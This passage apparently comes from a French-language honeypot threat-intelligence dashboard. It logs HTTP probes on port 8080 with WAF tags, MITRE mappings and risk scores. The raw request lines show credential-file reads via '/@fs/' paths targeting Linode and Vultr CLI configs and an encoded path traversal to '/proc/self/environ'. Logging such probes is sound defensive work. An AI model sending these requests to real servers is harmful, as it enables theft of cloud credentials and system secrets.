"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "87ba2388d5586f55e673b529213999b0",
"path_pattern_hash": "d97f1a5d972b467f53d1d78d5a192d06"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"method": "GET",
"path": "\/@fs\/root\/.config\/linode-cli",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.config\/linode-cli",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "66a90479b0984f22babc731ed3dcb2b17aa20711",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/linode-cli",
"request_line": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/linode-cli",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/linode-cli",
"request_line": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/linode-cli",
"evidence_snippet": "GET \/@fs\/root\/.config\/linode-cli?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.vultr-cli.yaml
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/root/.vultr-cli.yaml UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.vultr-cli.yaml
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.vultr-cli.yaml
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/root/.vultr-cli.yaml?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/root/.vultr-cli.yaml?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x
Requête brute (extrait)
GET /@fs/root/.vultr-cli.yaml?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "yaml",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "8627dc2fe24266e2ca4885baee5a6fd2940a3c68",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 228,
"payload_entropy": 5.417597431377711,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "7f4bec1b296170b42324e9e38df13cece535a2a3",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "059dcbbb290fde98d3a0733aab6dd942",
"path_pattern_hash": "7f8587f043e434513d62fdbb52cc7e5c"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"method": "GET",
"path": "\/@fs\/root\/.vultr-cli.yaml",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.vultr-cli.yaml",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b69ef2f1d521bee48db5cafb9cee59d4548674a3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.vultr-cli.yaml",
"request_line": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.vultr-cli.yaml",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.vultr-cli.yaml",
"request_line": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.vultr-cli.yaml",
"evidence_snippet": "GET \/@fs\/root\/.vultr-cli.yaml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 5 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows
Requête brute (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2fproc/self/environ HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "%2fproc\/self\/environ",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "fbeb730b5ce32913878a572592320549c5b0a849",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 245,
"payload_entropy": 5.307695700009584,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "8b3273563f8e42bdbbed7d050b48e76b469b720c",
"event_fingerprint": "18a64d3cfa0bdbb1a9b8060a24d643201a56de2f",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 253,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "08b43581e81ffb8b99f15cb807f71880",
"path_pattern_hash": "8800cd669d2a6896d0d43f61df93b904"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows ",
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows",
"evidence": {
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b3fa82da49c1d7b76d40bb58d8b30379a79a5403",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
